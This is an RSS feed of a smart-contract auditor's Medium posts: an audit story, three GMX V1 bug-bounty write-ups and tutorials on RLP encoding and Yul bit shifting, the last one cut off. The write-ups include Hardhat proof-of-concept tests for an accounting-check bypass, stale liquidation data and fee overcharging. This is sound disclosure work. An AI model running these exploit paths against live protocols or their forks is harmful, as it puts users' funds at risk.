<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by 0xWeiss on Medium]]></title>
        <description><![CDATA[Stories by 0xWeiss on Medium]]></description>
        <link>https://medium.com/@mweiss.eth?source=rss-218154c309c0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*r81jXl4B_wuv0EdHQ9esEg.png</url>
            <title>Stories by 0xWeiss on Medium</title>
            <link>https://medium.com/@mweiss.eth?source=rss-218154c309c0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 15:01:09 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mweiss.eth/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Lexer Markets security review story | GMX V1 bounty]]></title>
            <link>https://medium.com/@mweiss.eth/the-lexer-markets-security-review-story-a812539d62db?source=rss-218154c309c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/a812539d62db</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[audit]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <dc:creator><![CDATA[0xWeiss]]></dc:creator>
            <pubDate>Tue, 02 Jan 2024 11:48:30 GMT</pubDate>
            <atom:updated>2025-05-15T19:29:58.963Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*nWkpXZMY1Amur9qJZj6rsg.jpeg" /></figure><p>On a beautiful day in September. I got a request from the Hyacinth team saying that Lexer Markets needed an audit for their V2.</p><p>At that point, I started researching the protocol to comprehend what they were building. It turned out they were forking GMX V1, integrating with synthetic assets, and changing oracles to Pyth.</p><p>It was a challenging codebase nevertheless. A +13000 nsloc codebase forking a legacy protocol.</p><p>I was sure I wanted to do it, given that I understood from previous reviews the architecture of GMX’s codebase.</p><p>There were several concerns around my mind though:<br>- Is this one of the biggest private audits that the space has seen?<br>- Will I be well off by myself? It is a ton of responsibility<br>- How am I going to sleep after I finish the review<br>- Will I handle correctly that this protocol might get 8–9 figs of TVL after my review having a huge codebase?</p><p>So, I took action, called my friend <a href="https://twitter.com/0xkato">0xKato</a>, and assembled a plan. Given he was also familiar with GMX’s codebase, we thought it was great to team up.</p><p>Lexer was super happy to have us on board.</p><p>The review was supposed to last 5 weeks. So there was no time to waste.</p><p>September 19th, we get started.</p><p>From there, it was heads down and work. 0xKato made a great team.</p><p>The review, in our eyes, was a massive success. We found multiple issues from the legacy codebase of GMX V1.</p><p>We did submit 3 of them to Immunefi, the leading bug bounty platform, as we thought they were the most likely to get rewarded, given the big OOS policy GMX has.</p><p>Check out the write-ups with their corresponding PoCs:</p><ul><li>The first bug was causing that any system relying on the external validateLiquidation function to determine if user positions were unhealthy to receive a stale answer and appear to be healthy: <a href="https://medium.com/@mweiss.eth/3b92540df0af">Bounty1</a>.</li><li>The second bug was a first depositor-like bug, that was never discovered before and was active in any fork of GMX that still has not launched. It did take profit of an incorrect first state to game the internal accounting: <a href="https://medium.com/@mweiss.eth/1230521b1bf1">Bounty2</a></li><li>The third issue was deemed OOS for the bounty program but caused users to pay more execution fees than the optimal ones:<br><a href="https://medium.com/@mweiss.eth/0e6671a37208">Bounty3</a></li></ul><p>Overall, the audit went great and we are very satisfied that we helped Lexer strengthen the security of their codebase.</p><p>At the end of the security review, there were 49 issues discovered by 0xKato and me (0xWeiss), which Lexer tried their best to fix.</p><p><strong>Read the audit report </strong><a href="https://github.com/maarcweiss/0xWeiss_Security_Reviews/blob/master/Solo/Security_Review_Lexer_Markets_Final_Report.pdf"><strong>HERE</strong></a><strong>:</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a812539d62db" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GMX V1 BOUNTY (3)]]></title>
            <link>https://medium.com/@mweiss.eth/gmx-v1-bounty-3-0e6671a37208?source=rss-218154c309c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/0e6671a37208</guid>
            <category><![CDATA[bounty-program]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[0xWeiss]]></dc:creator>
            <pubDate>Tue, 02 Jan 2024 11:45:31 GMT</pubDate>
            <atom:updated>2024-01-02T11:45:31.283Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>Incorrect requirement to send execution fee when creating an order</strong></h3><p>This issue is part of a different set of vulnerabilities that 0xKato and I (0xWeiss) found during the review of Lexer Markets V2, which was forking GMX V1.</p><p><strong>If you are a protocol owner or someone integrating with GMX V1, GMX V2, or LEXER Markets, reach out to my DMs on Twitter: </strong><a href="https://twitter.com/0xWeisss"><strong>0xWeiss</strong></a><strong> or email: mweiss.eth@gmail.com . We will make sure your code is as secure as possible.</strong></p><p><strong>REPORT:</strong></p><p>GMX requires a user to send an execution fee in the createSwapOrder and createIncreaseOrder. The execution fee is validated by the following check: require(_executionFee &gt;= minExecutionFee, &quot;OrderBook: insufficient execution fee&quot;);</p><p>There is a mistake when assigning the comparison operators in the require statement in createDecreaseOrder as can be seen below: require(msg.value &gt; minExecutionFee, &quot;OrderBook: insufficient execution fee&quot;);</p><p>This means that a user will have to pay more in execution fees than the minimum requirement, resulting in additional lost funds for the users.</p><p>PoC:</p><pre>it.only(&quot;Incorrect requirement to send execution fee when creating an order&quot;, async () =&gt; {<br><br>    await positionManager.setOrderKeeper(user1.address, true)<br><br>    await positionManager.connect(user1).increasePosition([dai.address], btc.address, expandDecimals(50000, 18), 0, toUsd(100000), false, toNormalizedPrice(50000))<br><br>    await router.connect(user1).approvePlugin(orderBook.address)<br><br>    let executionFee = orderBook.minExecutionFee();<br><br>    await orderBook.connect(user1).createDecreaseOrder(<br>      btc.address, // indexToken<br>      toUsd(10000), // sizeDelta<br>      dai.address, // collateralToken<br>      toUsd(5000), // collateralDelta<br>      false, // isLong<br>      toUsd(0), // triggerPrice<br>      true, // triggerAboveThreshold<br>      {value: executionFee}<br>    );<br><br>    let orderIndex = (await orderBook.decreaseOrdersIndex(user1.address)) - 1<br> <br>    expect(await positionManager.connect(user1).executeDecreaseOrder(user1.address, orderIndex, user1.address)).to.be.revertedWith(&quot;OrderBook: insufficient execution fee&quot;);<br>  })</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0e6671a37208" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GMX V1 BOUNTY (2)]]></title>
            <link>https://medium.com/@mweiss.eth/gmx-v1-bounty-2-1230521b1bf1?source=rss-218154c309c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/1230521b1bf1</guid>
            <category><![CDATA[smart-contracts]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bounty-program]]></category>
            <dc:creator><![CDATA[0xWeiss]]></dc:creator>
            <pubDate>Tue, 02 Jan 2024 11:45:13 GMT</pubDate>
            <atom:updated>2024-01-02T11:45:13.081Z</atom:updated>
            <content:encoded><![CDATA[<h3>GMX internal Accounting can be disrupted</h3><p>This issue is part of a different set of vulnerabilities that 0xKato and I (0xWeiss) found during the review of Lexer Markets V2, which was forking GMX V1.</p><p><strong>If you are a protocol owner or someone integrating with GMX V1, GMX V2, or LEXER Markets, reach out to my DMs on Twitter: </strong><a href="https://twitter.com/0xWeisss"><strong>0xWeiss</strong></a><strong> or email: mweiss.eth@gmail.com . We will make sure your code is as secure as possible.</strong></p><p><strong>Report:<br></strong>The vault contract is vulnerable before the first trade takes place due to the fact that the ‘isLeverageEnabled’ state variable is initially set to true. A malicious user can bypass crucial safety checks and skip internal accounting by calling the vault contract directly instead of having to go through the positionRouter contract itself, as long as no one has created a trade beforehand since it would trigger the ‘disableLeverage’ function when calling ‘_increasePosition’ through the ‘BasePositionManager’ contract. This will allow the user to bypass the ‘_validateMaxGlobalSize’ function that takes place in the BasePositionManager contract if the malicious user created a long position, since ‘_increaseGlobalShortSize’ also performs the validation but only if the position is a short. It also allows the user to bypass the ‘updateGlobalShortData’ function that takes place in the positionUtils contract. If the user creates a short position, it will leave ‘GlobalShortData’ not correctly updated. As shown in the PoC, when we try to read the ‘GlobalShortDelta’, it reverts with a division by zero panic error even though why have created a short position.</p><p><strong>Impact</strong>:<br>Bypass ‘_validateMaxGlobalSize’. This would allow a user to trade for more than what GMX wants to allow. Bypass ‘updateGlobalShortData’. This would not showcase the short profits correctly, as can be seen in getAum since averagePrice won’t be updated.</p><pre>if (size &gt; 0) { (uint256 delta, bool hasProfit) = getGlobalShortDelta(token, price, size); if (!hasProfit) { // add losses from shorts aum = aum.add(delta); } else { shortProfits = shortProfits.add(delta); } }</pre><p><strong>PoC</strong>:</p><pre>it.only(&quot;POC: Accounting can be disrupted&quot;, async () =&gt; {<br>    await vault.connect(user0).addRouter(user0.address)<br>    await dai.mint(user0.address, expandDecimals(60000, 18))<br><br>    await dai.connect(user0).transfer(vault.address, expandDecimals(60000, 18))<br>    await vault.buyUSDG(dai.address, user1.address)<br><br>    await dai.mint(user0.address, expandDecimals(6000, 18))<br>    await dai.connect(user0).approve(vault.address, expandDecimals(6000, 18))<br>    await dai.connect(user0).transfer(vault.address, expandDecimals(6000, 18));<br><br>    await dai.mint(user0.address, expandDecimals(6000, 18))<br><br>    await router.addPlugin(positionRouter.address)<br>    await router.connect(user0).approvePlugin(positionRouter.address)<br><br>    await dai.mint(user0.address, expandDecimals(600, 18))<br>    await dai.connect(user0).approve(router.address, expandDecimals(600, 18))<br><br>    // We have will bypass the maxGlobalSize check we will also not call updateGlobalShortData<br>    await vault.connect(user0).increasePosition(user0.address, dai.address, bnb.address, expandDecimals(7000000000000000, 18), false)<br><br>    let position = await vault.getPosition(user0.address, dai.address, bnb.address, false)<br>    expect(position[0]).eq(&quot;7000000000000000000000000000000000&quot;) // size<br>    expect(position[1]).eq(&quot;5993000000000000000000000000000000&quot;) // collateral<br>    expect(position[2]).eq(&quot;300000000000000000000000000000000&quot;) // averagePrice<br>    expect(position[3]).eq(&quot;0&quot;) // entryFundingRate<br>    expect(position[4]).eq(&quot;7000000000000000000000&quot;) // reserveAmount<br>    expect(position[5]).eq(&quot;0&quot;) // realisedPnl<br><br>    // Since averagePrice will still be 0 at this point the call will revert with a division by zero panic error<br>    expect(await shortsTracker.getGlobalShortDelta(bnb.address)).to.be.revertedWith(&quot;SafeMath: division by zero&quot;);<br>  })</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1230521b1bf1" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GMX V1 BOUNTY(1)]]></title>
            <link>https://medium.com/@mweiss.eth/gmx-v1-bounty-1-3b92540df0af?source=rss-218154c309c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/3b92540df0af</guid>
            <category><![CDATA[poc]]></category>
            <category><![CDATA[auditing]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[smart-contracts]]></category>
            <dc:creator><![CDATA[0xWeiss]]></dc:creator>
            <pubDate>Tue, 02 Jan 2024 11:44:46 GMT</pubDate>
            <atom:updated>2024-01-02T12:03:45.504Z</atom:updated>
            <content:encoded><![CDATA[<h3>Stale cumulativeFundingRate is being used when fetching validateLiquidation externally which allows unhealthy positions to appear healthy</h3><p>This issue is part of a different set of vulnerabilities that 0xKato and I (0xWeiss) found during the review of Lexer Markets V2, which was forking GMX V1.</p><p><strong>If you are a protocol owner or someone integrating with GMX V1, GMX V2, or LEXER Markets, reach out to my DMs on Twitter: </strong><a href="https://twitter.com/0xWeisss"><strong>0xWeiss</strong></a><strong> or email: mweiss.eth@gmail.com . We will make sure your code is as secure as possible.</strong></p><p>REPORT:<br>The issue was present in the Vault contract.</p><p>Any system relying on the external validateLiquidation function to determine if their positions or users&#39; positions are liquidatable can receive an incorrect response:</p><pre>function validateLiquidation(address _account, address _collateralToken, address _indexToken, bool _isLong, bool _raise) public view override returns (uint256, uint256) {<br>        Position memory position = getPosition(_account, _collateralToken, _indexToken, _isLong);<br>        ISVault _vault = vault;<br>        (bool hasProfit, uint256 delta) = _vault.getDelta(_indexToken, position.size, position.averagePrice, _isLong, position.lastIncreasedTime, position.reserveAmount);<br>        uint256 marginFees = getFundingFee(_account, _collateralToken, _indexToken, _isLong, position.size, position.entryFundingRate);<br>        marginFees = marginFees.add(getPositionFee(_account, _collateralToken, _indexToken, _isLong, position.size));<br><br>        if (!hasProfit &amp;&amp; position.collateral &lt; delta) {<br>            if (_raise) { revert(&quot;Vault: losses exceed collateral&quot;); }<br>            return (1, marginFees);<br>        }<br><br>        uint256 remainingCollateral = position.collateral;<br>        if (!hasProfit) {<br>            remainingCollateral = position.collateral.sub(delta);<br>        }<br><br>        if (remainingCollateral &lt; marginFees) {<br>            if (_raise) { revert(&quot;Vault: fees exceed collateral&quot;); }<br>            // cap the fees to the remainingCollateral<br>            return (1, remainingCollateral);<br>        }<br><br>        if (remainingCollateral &lt; marginFees.add(_vault.liquidationFeeUsd())) {<br>            if (_raise) { revert(&quot;Vault: liquidation fees exceed collateral&quot;); }<br>            return (1, marginFees);<br>        }<br><br>        if (remainingCollateral.mul(_vault.maxLeverage()) &lt; position.size.mul(BASIS_POINTS_DIVISOR)) {<br>            if (_raise) { revert(&quot;Vault: maxLeverage exceeded&quot;); }<br>            return (2, marginFees);<br>        }<br><br>        if (hasProfit &amp;&amp; delta &gt;= _vault.tokenToUsdMin(_collateralToken, position.reserveAmount)) {<br>            if (_raise) { revert(&quot;Vault: maxProfit hit&quot;); }<br>            return (3, marginFees);<br>        }<br>        return (0, marginFees);<br>    }</pre><p>This is because `<em>validateLiquidation()` </em>does not update the CumulativeFundingRate by calling `<em>updateCumulativeFundingRate</em>()`.</p><pre> function updateCumulativeFundingRate(address _indexToken) public {<br><br>        if (lastFundingTimes[_indexToken] == 0) {<br>            lastFundingTimes[_indexToken] =<br>                (block.timestamp / (fundingInterval)) *<br>                (fundingInterval);<br>            return;<br>        }<br><br>        if (lastFundingTimes[_indexToken] + (fundingInterval) &gt; block.timestamp) {<br>            return;<br>        }<br><br>        uint256 longFunding = longFundingRates[_indexToken];<br>        uint256 shortFunding = shortFundingRates[_indexToken];<br>        uint256 intervals = (block.timestamp - (lastFundingTimes[_indexToken])) / (fundingInterval);<br><br>        longCumulativeFundingRates[_indexToken] =<br>            longCumulativeFundingRates[_indexToken] +<br>            longFunding *<br>            (intervals);<br>        shortCumulativeFundingRates[_indexToken] =<br>            shortCumulativeFundingRates[_indexToken] +<br>            shortFunding *<br>            (intervals);<br>        lastFundingTimes[_indexToken] = (block.timestamp / (fundingInterval)) * (fundingInterval);<br><br>        emit UpdateFundingRate(<br>            _indexToken,<br>            longCumulativeFundingRates[_indexToken],<br>            shortCumulativeFundingRates[_indexToken]<br>        );<br>    }</pre><p>If a significant amount of time has passed since the last call of `<em>updateCumulativeFundingRate()</em>`, <em>validateLiquidation()</em>` can return a false state. As demonstrated in the PoC, the user’s position may appear healthy when calling `<em>validateLiquidation</em>()`, but when `<em>updateCumulativeFundingRate()</em>` is called, the position becomes liquidatable.</p><p>This can be highly misleading for users or developers building on top of GMX who rely on the public view function to check the state of users’ positions. If GMX or any integration were to use the function to actually liquidate positions, the impact would be critical, as unhealthy positions would not be liquidated on time.</p><p>PoC:</p><pre>it.only(&quot;validateLiquidation can return incorrect data&quot;, async () =&gt; {<br>    await shortsTracker.setIsGlobalShortDataReady(true)<br>    await glpManager.setShortsTrackerAveragePriceWeight(10000)<br>    expect(await glpManager.shortsTrackerAveragePriceWeight()).to.be.equal(10000)<br><br>    await positionManager.connect(user1).increasePosition([dai.address], btc.address, expandDecimals(50000, 18), 0, toUsd(100000), false, toNormalizedPrice(60000))<br><br>    await btcPriceFeed.setLatestAnswer(toChainlinkPrice(48000))<br>    await positionManager.connect(user0).increasePosition([dai.address], btc.address, expandDecimals(10000, 18), 0, toUsd(100000), false, toNormalizedPrice(48000))<br><br>    await increaseTime(provider, 86400 * 365)<br>    await btcPriceFeed.setLatestAnswer(toChainlinkPrice(49000))<br><br>    let [liquidationStateBefore, marginFeeBefore] = await vault.validateLiquidation(user0.address, dai.address, btc.address, false, false)<br>    expect(liquidationStateBefore).to.eq(BigNumber.from(&quot;0&quot;));<br><br>    expect(marginFeeBefore).to.eq(BigNumber.from(&quot;1000000000000000000000000000000000&quot;));<br><br>    await vault.updateCumulativeFundingRate(dai.address, btc.address)<br><br>    let [liquidationStateAfter, marginFeeAfter] = await vault.validateLiquidation(user0.address, dai.address, btc.address, false, false)<br>    expect(marginFeeAfter).to.eq(BigNumber.from(&quot;7816666666666666666666666666666667&quot;));<br>    expect(liquidationStateAfter, &quot;liquidation state&quot;).to.be.eq(1)<br><br><br>    const [liquidationState, marginFee] = await getLiquidationState(user0.address, dai.address, btc.address, false, false)<br>    expect(liquidationState, &quot;liquidation state&quot;).to.be.eq(1)<br><br>    await positionManager.setLiquidator(user1.address, true)<br>    await positionManager.connect(user1).liquidatePosition(user0.address, dai.address, btc.address, false, user1.address)<br> })</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3b92540df0af" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[RLP ENCODING and ZkSync Era library review PART I]]></title>
            <link>https://medium.com/@mweiss.eth/rlp-encoding-and-zksync-era-library-review-part-i-4826a78f4677?source=rss-218154c309c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/4826a78f4677</guid>
            <category><![CDATA[zksync]]></category>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[cryptography]]></category>
            <category><![CDATA[solidity]]></category>
            <category><![CDATA[crypto]]></category>
            <dc:creator><![CDATA[0xWeiss]]></dc:creator>
            <pubDate>Sat, 11 Mar 2023 22:23:18 GMT</pubDate>
            <atom:updated>2023-03-11T22:26:47.804Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oHOpXn4_fpzG0HkevlIBSw.jpeg" /></figure><p>I am 0xWeiss, a security researcher, auditor, and Co-Founder. Let’s break RLP encoding !!!</p><p>RLP stands for Recursive Length Prefix encoding algorithm and standardizes the transfer of data between nodes in a space-efficient format. It is a recursive encoding scheme that allows data of arbitrary size to be efficiently encoded and decoded.</p><p>It is used extensively in Ethereum for encoding transactions, blocks, and state data. Its simplicity and efficiency make it a popular choice for serializing data in decentralized systems.</p><p>An RLP encoding function takes in items.</p><p>Those items can be strings, bytes arrays, a list of items, an empty string, and other data structures</p><p>Example: [&quot;weiss&quot;, [&quot;I&quot;, &quot;love&quot;], &quot;eth&quot;, [[]], &quot;pig&quot;, [&quot;&quot;], &quot;weiss2&quot;]</p><h3>RULES and EXPLANATION of RLP encoding:</h3><ul><li>For a single byte whose value is in the [0x00, 0x7f] (decimal [0, 127]) range, that byte is its own RLP encoding.</li><li>Otherwise, if a string is 0–55 bytes long, the RLP encoding consists of a single byte with value <strong>0x80</strong> (dec. 128) plus the length of the string followed by the string. The range of the first byte is thus [0x80, 0xb7] (dec. [128, 183]).</li><li>If a string is more than 55 bytes long, the RLP encoding consists of a single byte with value <strong>0xb7</strong> (dec. 183) plus the length in bytes of the length of the string in binary form, followed by the length of the string, followed by the string. For example, a 1024 byte long string would be encoded as \\xb9\\x04\\x00 (dec. 185, 4, 0) followed by the string. Here, 0xb9 (183 + 2 = 185) as the first byte, followed by the 2 bytes 0x0400 (dec. 1024) that denote the length of the actual string. The range of the first byte is thus [0xb8, 0xbf] (dec. [184, 191]).</li><li>If the total payload of a list (i.e. the combined length of all its items being RLP encoded) is 0–55 bytes long, the RLP encoding consists of a single byte with value <strong>0xc0</strong> plus the length of the list followed by the concatenation of the RLP encodings of the items. The range of the first byte is thus [0xc0, 0xf7] (dec. [192, 247]).</li><li>If the total payload of a list is more than 55 bytes long, the RLP encoding consists of a single byte with value <strong>0xf7</strong> plus the length in bytes of the length of the payload in binary form, followed by the length of the payload, followed by the concatenation of the RLP encodings of the items. The range of the first byte is thus [0xf8, 0xff] (dec. [248, 255]).</li></ul><h3>Examples provided by <a href="http://ethereum.org/">ethereum.org</a> explained:</h3><ul><li>the string “dog” = [ 0x83, ‘d’, ‘o’, ‘g’ ] <strong>← — EXAMPLE 1</strong></li></ul><p>Dog is a string of fewer than 55 bytes long. According to the rules we stated firstly, that is encoded by adding a 0x80 + the length of the item as the first bytes. In this case 0x83 and then the string</p><ul><li>the list [ “cat”, “dog” ] = [ 0xc8, 0x83, &#39;c&#39;, &#39;a&#39;, &#39;t&#39;, 0x83, &#39;d&#39;, &#39;o&#39;, &#39;g&#39; ] || 0xc8 0x83 63 61 74 0x83 64 6f 67 <strong>←—EXAMPLE 2</strong></li></ul><p>The total payload is less than 55 bytes, but because it is a list we have to prepend 0xc0 + the length of the list.</p><h3>FULL DETAILED MEGA ALPHA EXPLANATION</h3><p>First, we encode each string “cat” and “dog” as a byte string:</p><ul><li>“cat” = 0x83 63 61 74</li><li>“dog” = 0x83 64 6f 67</li></ul><p>You will ask yourself, mmmm…, hey 0xWeiss, what are those strange numbers there? 63, 61, 74 etc.</p><p>Well, the numbers 63, 61, and 74 represent the ASCII codes of the characters ‘c’, ‘a’, and ‘t’, respectively. In ASCII encoding, each character is represented by a unique number between 0 and 127. These numbers are then represented in hexadecimal form, which is commonly used in computer systems. Link to an ASCII table <a href="https://www.rapidtables.com/code/text/ascii-table.html">here</a>.</p><p>To break it down further, the ASCII code for ‘c’ is 99 in decimal or 0x63 in hexadecimal. Similarly, the ASCII code for ‘a’ is 97 in decimal or 0x61 in hexadecimal, and the ASCII code for ‘t’ is 116 in decimal or 0x74 in hexadecimal. Therefore, the RLP encoding of the string “cat” is 0x83 63 61 74.</p><p>Ok, now that we know why the numbers, let’s continue:</p><p>As said previously, we have to add the length to the 0xc0 value.</p><p>len([ &quot;cat&quot;, &quot;dog&quot; ]) = len(&quot;cat&quot;) + len(&quot;dog&quot;) = 3 + 3 = 6</p><p>The length of the items is 6 + 2 items is 8, or 0x08 in hex. You add 0xc0 to 0x08 = 0xc8</p><ul><li>the empty string (‘null’) = [ 0x80 ] <strong>←—EXAMPLE 3</strong></li></ul><p>Less than 55bytes and no length = 0x80 without any following string</p><ul><li>the empty list = [ 0xc0 ] <strong>←—EXAMPLE 4</strong></li></ul><p>Less than 55bytes, no items and no length = 0xc0</p><ul><li>the encoded integer 0 (‘\x00’) = [ 0x00 ] <strong>←—EXAMPLE 5</strong></li></ul><p>Single bytes, the RLP encoded is itself as hex = 0x00</p><ul><li>the encoded integer 15 (‘\x0f’) = [ 0x0f ] <strong>←—EXAMPLE 6</strong></li></ul><p>Single bytes, the RLP encoded is itself as hex = 0x0f</p><p><strong>We will leave more complex encoding for part II. Part II will be released in 3/4 days, and will consist of more complicated encoding. Part III will be the breakdown of Zk-Sync Era lib. I decided to split it due to the current ongoing audit.</strong></p><p>HOPE YOU LIKED THE ARTICLE, IF YOU FELT LIKE IT WAS HELPFUL, I WOULD APPRECIATE ANY TYPE OF SUPPORT.</p><p>Twitter: <a href="https://twitter.com/0xWeisss">https://twitter.com/0xWeisss</a></p><p>ETH-Wallet: 0xEa1b93cdB67a92Fd961FFE82d15eFE414AD08F92</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4826a78f4677" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Solidity and EVM: Bit Shifting and Masking in Assembly(YUL)]]></title>
            <link>https://medium.com/@mweiss.eth/solidity-and-evm-bit-shifting-and-masking-in-assembly-yul-942f4b4ebb6a?source=rss-218154c309c0------2</link>
            <guid isPermaLink="false">https://medium.com/p/942f4b4ebb6a</guid>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[yul]]></category>
            <category><![CDATA[assembly]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[solidity]]></category>
            <dc:creator><![CDATA[0xWeiss]]></dc:creator>
            <pubDate>Sat, 25 Feb 2023 17:40:33 GMT</pubDate>
            <atom:updated>2023-09-14T09:08:03.151Z</atom:updated>
            <content:encoded><![CDATA[<p>Note: If you are already an experienced dev/researcher, go directly to point 2 of the article!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*rMnvm148nDVdsZaD" /><figcaption>Photo by <a href="https://unsplash.com/@markusspiske?utm_source=medium&amp;utm_medium=referral">Markus Spiske</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><h3>1: Intro to Bit Shifting</h3><p>Bit shifting is an important concept in Solidity that allows for efficient manipulation of binary data. In this blog post, we will explore bit shifting in Solidity and its applications. It can be used for converting between data types, extracting specific bits, or setting specific bits. Understanding bit shifting is essential for writing efficient and optimized code.</p><h3>What is Bit Shifting?</h3><p>Bit shifting is an operation that involves moving the bits of a binary number to the left or right. This operation is useful for manipulating binary data, such as converting between different data types, extracting specific bits, or setting specific bits.</p><p>In Solidity, we can perform bit shifting using the &lt;&lt; and &gt;&gt; operators. The &lt;&lt; operator shifts the bits of a number to the left, while the &gt;&gt; operator shifts the bits to the right.</p><h3>Bit Shifting Examples</h3><p>Here are some examples of bit shifting in Solidity:</p><h3>Shifting to the Left</h3><pre>uint256 a = 2;      // 0b10<br>uint256 b = a &lt;&lt; 1; // 0b100</pre><p>In this example, we shift the bits of a to the left by one position, resulting in the binary number 0b100, which is equivalent to the decimal number 4.</p><h3>Shifting to the Right</h3><pre>uint256 a = 8;      // 0b1000<br>uint256 b = a &gt;&gt; 1; // 0b100</pre><p>In this example, we shift the bits of a to the right by one position, resulting in the binary number 0b100, which is equivalent to the decimal number 4.</p><h3>Applications of Bit Shifting</h3><p>Bit shifting is a powerful tool that can be used for many purposes in Solidity. Here are some examples:</p><h3>Converting between Data Types</h3><p>Bit shifting can be used to convert between different data types, such as converting an uint256 to an uint8. For example:</p><pre>uint256 a = 256;      // 0b100000000<br>uint8 b = uint8(a);   // 0b00000001</pre><p>In this example, we use the uint8 constructor to convert the uint256 value of a to an uint8. Since uint8 can only hold values up to 255, the most significant bits are truncated by the conversion.</p><h3>Extracting Specific Bits</h3><p>Bit shifting can be used to extract specific bits from a binary number. For example:</p><pre>uint256 a = 0b11001100;<br>uint256 b = (a &gt;&gt; 4) &amp; 0b00001111; // 0b1100</pre><p>In this example, we shift the bits of a to the right by four positions, resulting in the binary number 0b1100, which corresponds to the decimal number 12. We then use the bitwise AND operator &amp; with the binary number 0b00001111 to extract the least significant four bits.</p><h3>Setting Specific Bits</h3><p>Bit shifting can be used to set specific bits in a binary number. For example:</p><pre>uint8 a = 0b00000100;<br>uint8 b = a | 0b00001000; // 0b00001100</pre><p>In this example, we use the bitwise OR operator | with the binary number 0b00001000 to set the third bit of a to 1, resulting in the binary number 0b00001100, which corresponds to the decimal number 12.</p><h3>2 Bit Shifting and Masking in Assembly(Yul).</h3><h3>Read from storage</h3><p>Sometimes while using assembly, you will need to access or write variables.</p><p>There is a specific case where several variables are packed.</p><p>Due to the EVM having 256 bits(32bytes) slots, you can’t access the packed variables directly, instead, you will access the storage slot and find the offset of said variable.</p><p>After that, you will have to shift right the bits until you reach the offset where the variable was stored inside the slot.</p><p>If needed, you will need to mask some bits so it does return the expected value.</p><p><strong>Let’s go into code because it is hard to digest in plain text:</strong></p><p>We will start by reading storage variables with assembly.</p><p>The following function loads the bytes32 content inside the storage slot that you pass as a parameter.</p><pre>function readBySlot(uint256 slot) external view returns (bytes32 value) {<br>        assembly {<br>            value := sload(slot)<br>        }<br>    }</pre><p>Example 1:</p><p>uint256 public weiss = 789;</p><p>returns: 0x0000000000000000000000000000000000000000000000000000000000000315</p><p>note that 315 is the hex representation of 789</p><p>Example 2: What if there are multiple variables in the same slot?</p><pre>uint128 public C = 4;<br>    uint104 public D = 6;<br>    uint16 public E = 8;<br>    uint8 public F = 1;</pre><p>returns: 0x0100080000000000000000000000000600000000000000000000000000000004</p><p>You can see all the variables packed in the same 32 bytes slot.</p><p>!!!!!!!!!</p><p>NOTE: Variables will always be packed from down to up. So the last one, in this case, F, will always be the first one in the slot, as you can see 0x01</p><p>!!!!!!</p><p>Do you see the problem? How can we get for example variable E?</p><p>To achieve that, we need to know the variable offset, which means, where exactly the slot the variable is in bytes, from right to left.</p><p>Let’s code it:</p><pre>function getoffset()external pure returns(uint32 offset){<br>    assembly{<br>        offset := E.offset<br>    }</pre><p>returns: 29</p><p>This means that the variable is 29 bytes left</p><p><strong>Now that we have what we need, we will start SHIFTINGGGG</strong></p><p>We have to bring the E value, 29 bytes to the right so we can return it. For that, we will need to use shr which gets the number of bits to shift right. As we have bytes, we have to multiply that number by 8:</p><pre>function shiftE()external view returns(bytes32 e){<br>assembly{<br>    let slot := sload(E.slot)<br>    e := shr(mul(E.offset, 8), slot)<br>}<br>}</pre><p>Note that shr has 2 params, the bits to shift and the value inside the slot that we are shifting.</p><p>returns: 0x0000000000000000000000000000000000000000000000000000000000010008</p><p>Guys, we almost have it, now we have E in the last byte, but there is something strange. We do still have the F variable 1, 2 bytes to the left, we have to get rid of it.</p><p><strong>Now we will start MASKINGGG</strong></p><p>Some rules about masking:</p><pre>// masks can be hardcoded 